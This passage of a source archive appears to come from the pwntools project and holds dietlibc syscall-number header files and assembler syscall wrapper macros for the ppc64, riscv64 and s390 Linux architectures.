__NR_lstat64 196 32bit only */ /* #define __NR_fstat64 197 32bit only */ #define __NR_pciconfig_read 198 #define __NR_pciconfig_write 199 #define __NR_pciconfig_iobase 200 #define __NR_multiplexer 201 #define __NR_getdents64 202 #define __NR_pivot_root 203 /* #define __NR_fcntl64 204 32bit only */ #define __NR_madvise 205 #define __NR_mincore 206 #define __NR_gettid 207 #define __NR_tkill 208 #define __NR_setxattr 209 #define __NR_lsetxattr 210 #define __NR_fsetxattr 211 #define __NR_getxattr 212 #define __NR_lgetxattr 213 #define __NR_fgetxattr 214 #define __NR_listxattr 215 #define __NR_llistxattr 216 #define __NR_flistxattr 217 #define __NR_removexattr 218 #define __NR_lremovexattr 219 #define __NR_fremovexattr 220 #define __NR_futex 221 #define __NR_sched_setaffinity 222 #define __NR_sched_getaffinity 223 /* 224 currently unused */ #define __NR_tuxcall 225 /* #define __NR_sendfile64 226 32bit only */ #define __NR_io_setup 227 #define __NR_io_destroy 228 #define __NR_io_getevents 229 #define __NR_io_submit 230 #define __NR_io_cancel 231 #define __NR_set_tid_address 232 #define __NR_fadvise64 233 #define __NR_exit_group 234 #define __NR_lookup_dcookie 235 #define __NR_epoll_create 236 #define __NR_epoll_ctl 237 #define __NR_epoll_wait 238 #define __NR_remap_file_pages 239 #define __NR_timer_create 240 #define __NR_timer_settime 241 #define __NR_timer_gettime 242 #define __NR_timer_getoverrun 243 #define __NR_timer_delete 244 #define __NR_clock_settime 245 #define __NR_clock_gettime 246 #define __NR_clock_getres 247 #define __NR_clock_nanosleep 248 #define __NR_swapcontext 249 #define __NR_tgkill 250 #define __NR_utimes 251 #define __NR_statfs64 252 #define __NR_fstatfs64 253 /* #define __NR_fadvise64_64 254 32bit only */ #define __NR_rtas 255 /* Number 256 is reserved for sys_debug_setcontext */ /* Number 257 is reserved for vserver */ /* Number 258 is reserved for new sys_remap_file_pages */ #define __NR_mbind 259 #define __NR_get_mempolicy 260 #define __NR_set_mempolicy 261 #define __NR_mq_open 262 #define __NR_mq_unlink 263 #define __NR_mq_timedsend 264 #define __NR_mq_timedreceive 265 #define __NR_mq_notify 266 #define __NR_mq_getsetattr 267 #define __NR_kexec_load 268 #define __NR_add_key 269 #define __NR_request_key 270 #define __NR_keyctl 271 #define __NR_waitid 272 #define __NR_ioprio_set 273 #define __NR_ioprio_get 274 #define __NR_inotify_init 275 #define __NR_inotify_add_watch 276 #define __NR_inotify_rm_watch 277 #define __NR_spu_run 278 #define __NR_spu_create 279 #define __NR_pselect6 280 #define __NR_ppoll 281 #define __NR_unshare 282 #define __NR_splice 283 #define __NR_tee 284 #define __NR_vmsplice 285 #define __NR_openat 286 #define __NR_mkdirat 287 #define __NR_mknodat 288 #define __NR_fchownat 289 #define __NR_futimesat 290 #define __NR_newfstatat 291 #define __NR_unlinkat 292 #define __NR_renameat 293 #define __NR_linkat 294 #define __NR_symlinkat 295 #define __NR_readlinkat 296 #define __NR_fchmodat 297 #define __NR_faccessat 298 #define __NR_get_robust_list 299 #define __NR_set_robust_list 300 #define __NR_move_pages 301 #define __NR_getcpu 302 #define __NR_epoll_pwait 303 #define __NR_utimensat 304 #define __NR_signalfd 305 #define __NR_timerfd 306 #define __NR_eventfd 307 #define __NR_sync_file_range2 308 #define __NR_fallocate 309 #define __NR_subpage_prot 310 #define __NR_timerfd_settime 311 #define __NR_timerfd_gettime 312 #define __NR_signalfd4 313 #define __NR_eventfd2 314 #define __NR_epoll_create1 315 #define __NR_dup3 316 #define __NR_pipe2 317 #define __NR_inotify_init1 318 #define __NR_perf_event_open 319 #define __NR_preadv 320 #define __NR_pwritev 321 #define __NR_rt_tgsigqueueinfo 322 #define __NR_fanotify_init 323 #define __NR_fanotify_mark 324 #define __NR_prlimit64 325 #define __NR_socket 326 #define __NR_bind 327 #define __NR_connect 328 #define __NR_listen 329 #define __NR_accept 330 #define __NR_getsockname 331 #define __NR_getpeername 332 #define __NR_socketpair 333 #define __NR_send 334 #define __NR_sendto 335 #define __NR_recv 336 #define __NR_recvfrom 337 #define __NR_shutdown 338 #define __NR_setsockopt 339 #define __NR_getsockopt 340 #define __NR_sendmsg 341 #define __NR_recvmsg 342 #define __NR_recvmmsg 343 #define __NR_accept4 344 #define __NR_name_to_handle_at 345 #define __NR_open_by_handle_at 346 #define __NR_clock_adjtime 347 #define __NR_syncfs 348 #define __NR_sendmmsg 349 #define __NR_setns 350 #define __NR_process_vm_readv 351 #define __NR_process_vm_writev 352 #define __NR_finit_module 353 #define __NR_kcmp 354 #define __NR_sched_setattr 355 #define __NR_sched_getattr 356 #define __NR_renameat2 357 #define __NR_seccomp 358 #define __NR_getrandom 359 #define __NR_memfd_create 360 #define __NR_bpf 361 #define __NR_execveat 362 #define __NR_switch_endian 363 #define __NR_userfaultfd 364 #define __NR_membarrier 365 #define __NR_mlock2 378 #define __NR_copy_file_range 379 #define __NR_preadv2 380 #define __NR_pwritev2 381 #define __NR_kexec_file_load 382 #define __NR_statx 383 #define __NR_pkey_alloc 384 #define __NR_pkey_free 385 #define __NR_pkey_mprotect 386 #define __NR_rseq 387 #define __NR_io_pgetevents 388 #define __NR_semtimedop 392 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #if defined(_CALL_ELF) && _CALL_ELF == 2 #define __diet_proto_common(sym) \ .type sym,@function #define diet_proto_weak(sym) \ .weak sym; \ __diet_proto_common(sym) #define diet_proto(sym) \ .globl sym; \ __diet_proto_common(sym) #define syscall_weak(name,wsym,sym) \ .text; \ diet_proto_weak(wsym); \ diet_proto(sym); \ wsym: \ sym: \ addis 2,12,.TOC.-sym@ha; \ addi 2,2,.TOC.-sym@l; \ .localentry sym,.-sym; \ .localentry wsym,.-wsym; \ li 0,__NR_##name; \ b __unified_syscall #define syscall(name,sym) \ .text; \ diet_proto(sym); \ sym: \ addis 2,12,.TOC.-sym@ha; \ addi 2,2,.TOC.-sym@l; \ .localentry sym,.-sym; \ li 0,__NR_##name; \ b __unified_syscall #else /* _ELF_CALL != 2 */ #define __diet_proto_common(sym) \ .section ".opd","aw"; \ .align 3; \ sym: \ .quad .sym,.TOC.@tocbase,0; \ .previous; \ .size sym,24; \ .type .sym,@function #define diet_proto_weak(sym) \ .weak sym; \ .weak .sym; \ __diet_proto_common(sym) #define diet_proto(sym) \ .globl sym; \ .globl .sym; \ __diet_proto_common(sym) #define syscall_weak(name,wsym,sym) \ .text; \ diet_proto_weak(wsym); \ diet_proto(sym); \ .wsym: \ .sym: \ li 0,__NR_##name; \ b __unified_syscall #define syscall(name,sym) \ .text; \ diet_proto(sym); \ .sym: \ li 0,__NR_##name; \ b __unified_syscall #endif /* _ELF_CALL == 2 */ Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/ppc64le/000077500000000000000000000000001507273764500275435ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/ppc64le/syscalls.h000066400000000000000000000000371507273764500315510ustar00rootroot00000000000000#include "../ppc64/syscalls.h" Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/riscv64/000077500000000000000000000000001507273764500275665ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/riscv64/syscalls.h000066400000000000000000000200361507273764500315750ustar00rootroot00000000000000#define __NR_io_setup 0 #define __NR_io_destroy 1 #define __NR_io_submit 2 #define __NR_io_cancel 3 #define __NR_io_getevents 4 #define __NR_setxattr 5 #define __NR_lsetxattr 6 #define __NR_fsetxattr 7 #define __NR_getxattr 8 #define __NR_lgetxattr 9 #define __NR_fgetxattr 10 #define __NR_listxattr 11 #define __NR_llistxattr 12 #define __NR_flistxattr 13 #define __NR_removexattr 14 #define __NR_lremovexattr 15 #define __NR_fremovexattr 16 #define __NR_getcwd 17 #define __NR_lookup_dcookie 18 #define __NR_eventfd2 19 #define __NR_epoll_create1 20 #define __NR_epoll_ctl 21 #define __NR_epoll_pwait 22 #define __NR_dup 23 #define __NR_dup3 24 #define __NR_fcntl 25 #define __NR_inotify_init1 26 #define __NR_inotify_add_watch 27 #define __NR_inotify_rm_watch 28 #define __NR_ioctl 29 #define __NR_ioprio_set 30 #define __NR_ioprio_get 31 #define __NR_flock 32 #define __NR_mknodat 33 #define __NR_mkdirat 34 #define __NR_unlinkat 35 #define __NR_symlinkat 36 #define __NR_linkat 37 #define __NR_umount2 39 #define __NR_mount 40 #define __NR_pivot_root 41 #define __NR_nfsservctl 42 #define __NR_statfs 43 #define __NR_fstatfs 44 #define __NR_truncate 45 #define __NR_ftruncate 46 #define __NR_fallocate 47 #define __NR_faccessat 48 #define __NR_chdir 49 #define __NR_fchdir 50 #define __NR_chroot 51 #define __NR_fchmod 52 #define __NR_fchmodat 53 #define __NR_fchownat 54 #define __NR_fchown 55 #define __NR_openat 56 #define __NR_close 57 #define __NR_vhangup 58 #define __NR_pipe2 59 #define __NR_quotactl 60 #define __NR_getdents64 61 #define __NR_lseek 62 #define __NR_read 63 #define __NR_write 64 #define __NR_readv 65 #define __NR_writev 66 #define __NR_pread64 67 #define __NR_pwrite64 68 #define __NR_preadv 69 #define __NR_pwritev 70 #define __NR_sendfile 71 #define __NR_pselect6 72 #define __NR_ppoll 73 #define __NR_signalfd4 74 #define __NR_vmsplice 75 #define __NR_splice 76 #define __NR_tee 77 #define __NR_readlinkat 78 #define __NR_newfstatat 79 #define __NR_fstat 80 #define __NR_sync 81 #define __NR_fsync 82 #define __NR_fdatasync 83 #define __NR_sync_file_range 84 #define __NR_timerfd_create 85 #define __NR_timerfd_settime 86 #define __NR_timerfd_gettime 87 #define __NR_utimensat 88 #define __NR_acct 89 #define __NR_capget 90 #define __NR_capset 91 #define __NR_personality 92 #define __NR_exit 93 #define __NR_exit_group 94 #define __NR_waitid 95 #define __NR_set_tid_address 96 #define __NR_unshare 97 #define __NR_futex 98 #define __NR_set_robust_list 99 #define __NR_get_robust_list 100 #define __NR_nanosleep 101 #define __NR_getitimer 102 #define __NR_setitimer 103 #define __NR_kexec_load 104 #define __NR_init_module 105 #define __NR_delete_module 106 #define __NR_timer_create 107 #define __NR_timer_gettime 108 #define __NR_timer_getoverrun 109 #define __NR_timer_settime 110 #define __NR_timer_delete 111 #define __NR_clock_settime 112 #define __NR_clock_gettime 113 #define __NR_clock_getres 114 #define __NR_clock_nanosleep 115 #define __NR_syslog 116 #define __NR_ptrace 117 #define __NR_sched_setparam 118 #define __NR_sched_setscheduler 119 #define __NR_sched_getscheduler 120 #define __NR_sched_getparam 121 #define __NR_sched_setaffinity 122 #define __NR_sched_getaffinity 123 #define __NR_sched_yield 124 #define __NR_sched_get_priority_max 125 #define __NR_sched_get_priority_min 126 #define __NR_sched_rr_get_interval 127 #define __NR_restart_syscall 128 #define __NR_kill 129 #define __NR_tkill 130 #define __NR_tgkill 131 #define __NR_sigaltstack 132 #define __NR_rt_sigsuspend 133 #define __NR_rt_sigaction 134 #define __NR_rt_sigprocmask 135 #define __NR_rt_sigpending 136 #define __NR_rt_sigtimedwait 137 #define __NR_rt_sigqueueinfo 138 #define __NR_rt_sigreturn 139 #define __NR_setpriority 140 #define __NR_getpriority 141 #define __NR_reboot 142 #define __NR_setregid 143 #define __NR_setgid 144 #define __NR_setreuid 145 #define __NR_setuid 146 #define __NR_setresuid 147 #define __NR_getresuid 148 #define __NR_setresgid 149 #define __NR_getresgid 150 #define __NR_setfsuid 151 #define __NR_setfsgid 152 #define __NR_times 153 #define __NR_setpgid 154 #define __NR_getpgid 155 #define __NR_getsid 156 #define __NR_setsid 157 #define __NR_getgroups 158 #define __NR_setgroups 159 #define __NR_uname 160 #define __NR_sethostname 161 #define __NR_setdomainname 162 #define __NR_getrlimit 163 #define __NR_setrlimit 164 #define __NR_getrusage 165 #define __NR_umask 166 #define __NR_prctl 167 #define __NR_getcpu 168 #define __NR_gettimeofday 169 #define __NR_settimeofday 170 #define __NR_adjtimex 171 #define __NR_getpid 172 #define __NR_getppid 173 #define __NR_getuid 174 #define __NR_geteuid 175 #define __NR_getgid 176 #define __NR_getegid 177 #define __NR_gettid 178 #define __NR_sysinfo 179 #define __NR_mq_open 180 #define __NR_mq_unlink 181 #define __NR_mq_timedsend 182 #define __NR_mq_timedreceive 183 #define __NR_mq_notify 184 #define __NR_mq_getsetattr 185 #define __NR_msgget 186 #define __NR_msgctl 187 #define __NR_msgrcv 188 #define __NR_msgsnd 189 #define __NR_semget 190 #define __NR_semctl 191 #define __NR_semtimedop 192 #define __NR_semop 193 #define __NR_shmget 194 #define __NR_shmctl 195 #define __NR_shmat 196 #define __NR_shmdt 197 #define __NR_socket 198 #define __NR_socketpair 199 #define __NR_bind 200 #define __NR_listen 201 #define __NR_accept 202 #define __NR_connect 203 #define __NR_getsockname 204 #define __NR_getpeername 205 #define __NR_sendto 206 #define __NR_recvfrom 207 #define __NR_setsockopt 208 #define __NR_getsockopt 209 #define __NR_shutdown 210 #define __NR_sendmsg 211 #define __NR_recvmsg 212 #define __NR_readahead 213 #define __NR_brk 214 #define __NR_munmap 215 #define __NR_mremap 216 #define __NR_add_key 217 #define __NR_request_key 218 #define __NR_keyctl 219 #define __NR_clone 220 #define __NR_execve 221 #define __NR_mmap 222 #define __NR_fadvise64 223 #define __NR_swapon 224 #define __NR_swapoff 225 #define __NR_mprotect 226 #define __NR_msync 227 #define __NR_mlock 228 #define __NR_munlock 229 #define __NR_mlockall 230 #define __NR_munlockall 231 #define __NR_mincore 232 #define __NR_madvise 233 #define __NR_remap_file_pages 234 #define __NR_mbind 235 #define __NR_get_mempolicy 236 #define __NR_set_mempolicy 237 #define __NR_migrate_pages 238 #define __NR_move_pages 239 #define __NR_rt_tgsigqueueinfo 240 #define __NR_perf_event_open 241 #define __NR_accept4 242 #define __NR_recvmmsg 243 #define __NR_arch_specific_syscall 244 #define __NR_wait4 260 #define __NR_prlimit64 261 #define __NR_fanotify_init 262 #define __NR_fanotify_mark 263 #define __NR_name_to_handle_at 264 #define __NR_open_by_handle_at 265 #define __NR_clock_adjtime 266 #define __NR_syncfs 267 #define __NR_setns 268 #define __NR_sendmmsg 269 #define __NR_process_vm_readv 270 #define __NR_process_vm_writev 271 #define __NR_kcmp 272 #define __NR_finit_module 273 #define __NR_sched_setattr 274 #define __NR_sched_getattr 275 #define __NR_renameat2 276 #define __NR_seccomp 277 #define __NR_getrandom 278 #define __NR_memfd_create 279 #define __NR_bpf 280 #define __NR_execveat 281 #define __NR_userfaultfd 282 #define __NR_membarrier 283 #define __NR_mlock2 284 #define __NR_copy_file_range 285 #define __NR_preadv2 286 #define __NR_pwritev2 287 #define __NR_pkey_mprotect 288 #define __NR_pkey_alloc 289 #define __NR_pkey_free 290 #define __NR_statx 291 #define __NR_io_pgetevents 292 #define __NR_rseq 293 #define __NR_kexec_file_load 294 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_close_range 436 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define __NR_faccessat2 439 #define __NR_process_madvise 440 #define __NR_epoll_pwait2 441 #define __NR_mount_setattr 442 #define __NR_landlock_create_ruleset 444 #define __NR_landlock_add_rule 445 #define __NR_landlock_restrict_self 446 #define __NR_sysriscv __NR_arch_specific_syscall #define __NR_riscv_flush_icache (__NR_sysriscv + 15) Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/s390/000077500000000000000000000000001507273764500267645ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/s390/syscalls.h000066400000000000000000000276301507273764500310020ustar00rootroot00000000000000 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_restart_syscall 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_pause 29 #define __NR_utime 30 #define __NR_access 33 #define __NR_nice 34 #define __NR_sync 36 #define __NR_kill 37 #define __NR_rename 38 #define __NR_mkdir 39 #define __NR_rmdir 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_brk 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48 #define __NR_geteuid 49 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_setpgid 57 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_ustat 62 #define __NR_dup2 63 #define __NR_getppid 64 #define __NR_getpgrp 65 #define __NR_setsid 66 #define __NR_sigaction 67 #define __NR_setreuid 70 #define __NR_setregid 71 #define __NR_sigsuspend 72 #define __NR_sigpending 73 #define __NR_sethostname 74 #define __NR_setrlimit 75 #define __NR_getrlimit 76 #define __NR_getrusage 77 #define __NR_gettimeofday 78 #define __NR_settimeofday 79 #define __NR_getgroups 80 #define __NR_setgroups 81 #define __NR_symlink 83 #define __NR_readlink 85 #define __NR_uselib 86 #define __NR_swapon 87 #define __NR_reboot 88 #define __NR_readdir 89 #define __NR_mmap 90 #define __NR_munmap 91 #define __NR_truncate 92 #define __NR_ftruncate 93 #define __NR_fchmod 94 #define __NR_fchown 95 #define __NR_getpriority 96 #define __NR_setpriority 97 #define __NR_statfs 99 #define __NR_fstatfs 100 #define __NR_ioperm 101 #define __NR_socketcall 102 #define __NR_syslog 103 #define __NR_setitimer 104 #define __NR_getitimer 105 #define __NR_stat 106 #define __NR_lstat 107 #define __NR_fstat 108 #define __NR_lookup_dcookie 110 #define __NR_vhangup 111 #define __NR_idle 112 #define __NR_wait4 114 #define __NR_swapoff 115 #define __NR_sysinfo 116 #define __NR_ipc 117 #define __NR_fsync 118 #define __NR_sigreturn 119 #define __NR_clone 120 #define __NR_setdomainname 121 #define __NR_uname 122 #define __NR_adjtimex 124 #define __NR_mprotect 125 #define __NR_sigprocmask 126 #define __NR_create_module 127 #define __NR_init_module 128 #define __NR_delete_module 129 #define __NR_get_kernel_syms 130 #define __NR_quotactl 131 #define __NR_getpgid 132 #define __NR_fchdir 133 #define __NR_bdflush 134 #define __NR_sysfs 135 #define __NR_personality 136 #define __NR_afs_syscall 137 /* Syscall for Andrew File System */ #define __NR_setfsuid 138 #define __NR_setfsgid 139 #define __NR__llseek 140 #define __NR_getdents 141 #define __NR__newselect 142 #define __NR_flock 143 #define __NR_msync 144 #define __NR_readv 145 #define __NR_writev 146 #define __NR_getsid 147 #define __NR_fdatasync 148 #define __NR__sysctl 149 #define __NR_mlock 150 #define __NR_munlock 151 #define __NR_mlockall 152 #define __NR_munlockall 153 #define __NR_sched_setparam 154 #define __NR_sched_getparam 155 #define __NR_sched_setscheduler 156 #define __NR_sched_getscheduler 157 #define __NR_sched_yield 158 #define __NR_sched_get_priority_max 159 #define __NR_sched_get_priority_min 160 #define __NR_sched_rr_get_interval 161 #define __NR_nanosleep 162 #define __NR_mremap 163 #define __NR_setresuid 164 #define __NR_getresuid 165 #define __NR_query_module 167 #define __NR_poll 168 #define __NR_nfsservctl 169 #define __NR_setresgid 170 #define __NR_getresgid 171 #define __NR_prctl 172 #define __NR_rt_sigreturn 173 #define __NR_rt_sigaction 174 #define __NR_rt_sigprocmask 175 #define __NR_rt_sigpending 176 #define __NR_rt_sigtimedwait 177 #define __NR_rt_sigqueueinfo 178 #define __NR_rt_sigsuspend 179 #define __NR_pread64 180 #define __NR_pwrite64 181 #define __NR_chown 182 #define __NR_getcwd 183 #define __NR_capget 184 #define __NR_capset 185 #define __NR_sigaltstack 186 #define __NR_sendfile 187 #define __NR_getpmsg 188 #define __NR_putpmsg 189 #define __NR_vfork 190 #define __NR_ugetrlimit 191 /* SuS compliant getrlimit */ #define __NR_mmap2 192 #define __NR_truncate64 193 #define __NR_ftruncate64 194 #define __NR_stat64 195 #define __NR_lstat64 196 #define __NR_fstat64 197 #define __NR_lchown32 198 #define __NR_getuid32 199 #define __NR_getgid32 200 #define __NR_geteuid32 201 #define __NR_getegid32 202 #define __NR_setreuid32 203 #define __NR_setregid32 204 #define __NR_getgroups32 205 #define __NR_setgroups32 206 #define __NR_fchown32 207 #define __NR_setresuid32 208 #define __NR_getresuid32 209 #define __NR_setresgid32 210 #define __NR_getresgid32 211 #define __NR_chown32 212 #define __NR_setuid32 213 #define __NR_setgid32 214 #define __NR_setfsuid32 215 #define __NR_setfsgid32 216 #define __NR_pivot_root 217 #define __NR_mincore 218 #define __NR_madvise 219 #define __NR_getdents64 220 #define __NR_fcntl64 221 #define __NR_readahead 222 #define __NR_sendfile64 223 #define __NR_setxattr 224 #define __NR_lsetxattr 225 #define __NR_fsetxattr 226 #define __NR_getxattr 227 #define __NR_lgetxattr 228 #define __NR_fgetxattr 229 #define __NR_listxattr 230 #define __NR_llistxattr 231 #define __NR_flistxattr 232 #define __NR_removexattr 233 #define __NR_lremovexattr 234 #define __NR_fremovexattr 235 #define __NR_gettid 236 #define __NR_tkill 237 #define __NR_futex 238 #define __NR_sched_setaffinity 239 #define __NR_sched_getaffinity 240 #define __NR_tgkill 241 /* * Number 242 is reserved for tux */ #define __NR_io_setup 243 #define __NR_io_destroy 244 #define __NR_io_getevents 245 #define __NR_io_submit 246 #define __NR_io_cancel 247 #define __NR_exit_group 248 #define __NR_epoll_create 249 #define __NR_epoll_ctl 250 #define __NR_epoll_wait 251 #define __NR_set_tid_address 252 #define __NR_fadvise64 253 #define __NR_timer_create 254 #define __NR_timer_settime (__NR_timer_create+1) #define __NR_timer_gettime (__NR_timer_create+2) #define __NR_timer_getoverrun (__NR_timer_create+3) #define __NR_timer_delete (__NR_timer_create+4) #define __NR_clock_settime (__NR_timer_create+5) #define __NR_clock_gettime (__NR_timer_create+6) #define __NR_clock_getres (__NR_timer_create+7) #define __NR_clock_nanosleep (__NR_timer_create+8) /* Number 263 is reserved for vserver */ #define __NR_fadvise64_64 264 #define __NR_statfs64 265 #define __NR_fstatfs64 266 #define __NR_remap_file_pages 267 #define __NR_mbind 268 #define __NR_get_mempolicy 269 #define __NR_set_mempolicy 270 #define __NR_mq_open 271 #define __NR_mq_unlink 272 #define __NR_mq_timedsend 273 #define __NR_mq_timedreceive 274 #define __NR_mq_notify 275 #define __NR_mq_getsetattr 276 #define __NR_kexec_load 277 #define __NR_add_key 278 #define __NR_request_key 279 #define __NR_keyctl 280 #define __NR_waitid 281 #define __NR_ioprio_set 282 #define __NR_ioprio_get 283 #define __NR_inotify_init 284 #define __NR_inotify_add_watch 285 #define __NR_inotify_rm_watch 286 #define __NR_migrate_pages 287 #define __NR_openat 288 #define __NR_mkdirat 289 #define __NR_mknodat 290 #define __NR_fchownat 291 #define __NR_futimesat 292 #define __NR_fstatat64 293 #define __NR_unlinkat 294 #define __NR_renameat 295 #define __NR_linkat 296 #define __NR_symlinkat 297 #define __NR_readlinkat 298 #define __NR_fchmodat 299 #define __NR_faccessat 300 #define __NR_pselect6 301 #define __NR_ppoll 302 #define __NR_unshare 303 #define __NR_set_robust_list 304 #define __NR_get_robust_list 305 #define __NR_splice 306 #define __NR_sync_file_range 307 #define __NR_tee 308 #define __NR_vmsplice 309 #define __NR_move_pages 310 #define __NR_getcpu 311 #define __NR_epoll_pwait 312 #define __NR_utimes 313 #define __NR_fallocate 314 #define __NR_utimensat 315 #define __NR_signalfd 316 #define __NR_timerfd 317 #define __NR_eventfd 318 #define __NR_timerfd_create 319 #define __NR_timerfd_settime 320 #define __NR_timerfd_gettime 321 #define __NR_signalfd4 322 #define __NR_eventfd2 323 #define __NR_inotify_init1 324 #define __NR_pipe2 325 #define __NR_dup3 326 #define __NR_epoll_create1 327 #define __NR_preadv 328 #define __NR_pwritev 329 #define __NR_rt_tgsigqueueinfo 330 #define __NR_perf_event_open 331 #define __NR_fanotify_init 332 #define __NR_fanotify_mark 333 #define __NR_prlimit64 334 #define __NR_name_to_handle_at 335 #define __NR_open_by_handle_at 336 #define __NR_clock_adjtime 337 #define __NR_syncfs 338 #define __NR_setns 339 #define __NR_process_vm_readv 340 #define __NR_process_vm_writev 341 #define __NR_s390_runtime_instr 342 #define __NR_kcmp 343 #define __NR_finit_module 344 #define __NR_sched_setattr 345 #define __NR_sched_getattr 346 #define __NR_renameat2 347 #define __NR_seccomp 348 #define __NR_getrandom 349 #define __NR_memfd_create 350 #define __NR_bpf 351 #define __NR_s390_pci_mmio_write 352 #define __NR_s390_pci_mmio_read 353 #define __NR_execveat 354 #define __NR_userfaultfd 355 #define __NR_membarrier 356 #define __NR_recvmmsg 357 #define __NR_sendmmsg 358 #define __NR_socket 359 #define __NR_socketpair 360 #define __NR_bind 361 #define __NR_connect 362 #define __NR_listen 363 #define __NR_accept4 364 #define __NR_getsockopt 365 #define __NR_setsockopt 366 #define __NR_getsockname 367 #define __NR_getpeername 368 #define __NR_sendto 369 #define __NR_sendmsg 370 #define __NR_recvfrom 371 #define __NR_recvmsg 372 #define __NR_shutdown 373 #define __NR_mlock2 374 #define __NR_copy_file_range 375 #define __NR_preadv2 376 #define __NR_pwritev2 377 #define __NR_s390_guarded_storage 378 #define __NR_statx 379 #define __NR_s390_sthyi 380 #define __NR_kexec_file_load 381 #define __NR_io_pgetevents 382 #define __NR_rseq 383 #define __NR_pkey_mprotect 384 #define __NR_pkey_alloc 385 #define __NR_pkey_free 386 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_clock_gettime64 403 #define __NR_clock_settime64 404 #define __NR_clock_adjtime64 405 #define __NR_clock_getres_time64 406 #define __NR_clock_nanosleep_time64 407 #define __NR_timer_gettime64 408 #define __NR_timer_settime64 409 #define __NR_timerfd_gettime64 410 #define __NR_timerfd_settime64 411 #define __NR_utimensat_time64 412 #define __NR_pselect6_time64 413 #define __NR_ppoll_time64 414 #define __NR_io_pgetevents_time64 416 #define __NR_recvmmsg_time64 417 #define __NR_mq_timedsend_time64 418 #define __NR_mq_timedreceive_time64 419 #define __NR_semtimedop_time64 420 #define __NR_rt_sigtimedwait_time64 421 #define __NR_futex_time64 422 #define __NR_sched_rr_get_interval_time64 423 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define syscall_weak(name,wsym,sym) \ .text; \ .type wsym,@function; \ .weak wsym; \ wsym: ; \ .type sym,@function; \ .global sym; \ sym: \ .if __NR_##name < 256 ; \ svc __NR_##name ; \ .else ; \ la %r1,__NR_##name ; \ svc 0 ; \ .endif ; \ j __unified_syscall #define syscall(name,sym) \ .text; \ .type sym,@function; \ .global sym; \ sym: \ .if __NR_##name < 256 ; \ svc __NR_##name ; \ .else ; \ la %r1,__NR_##name ; \ svc 0 ; \ .endif ; \ j __unified_syscall Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/s390x/000077500000000000000000000000001507273764500271545ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/s390x/syscalls.h000066400000000000000000000246041507273764500311700ustar00rootroot00000000000000 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_restart_syscall 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_pause 29 #define __NR_utime 30 #define __NR_access 33 #define __NR_nice 34 #define __NR_sync 36 #define __NR_kill 37 #define __NR_rename 38 #define __NR_mkdir 39 #define __NR_rmdir 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_brk 45 #define __NR_signal 48 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_setpgid 57 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_ustat 62 #define __NR_dup2 63 #define __NR_getppid 64 #define __NR_getpgrp 65 #define __NR_setsid 66 #define __NR_sigaction 67 #define __NR_sigsuspend 72 #define __NR_sigpending 73 #define __NR_sethostname 74 #define 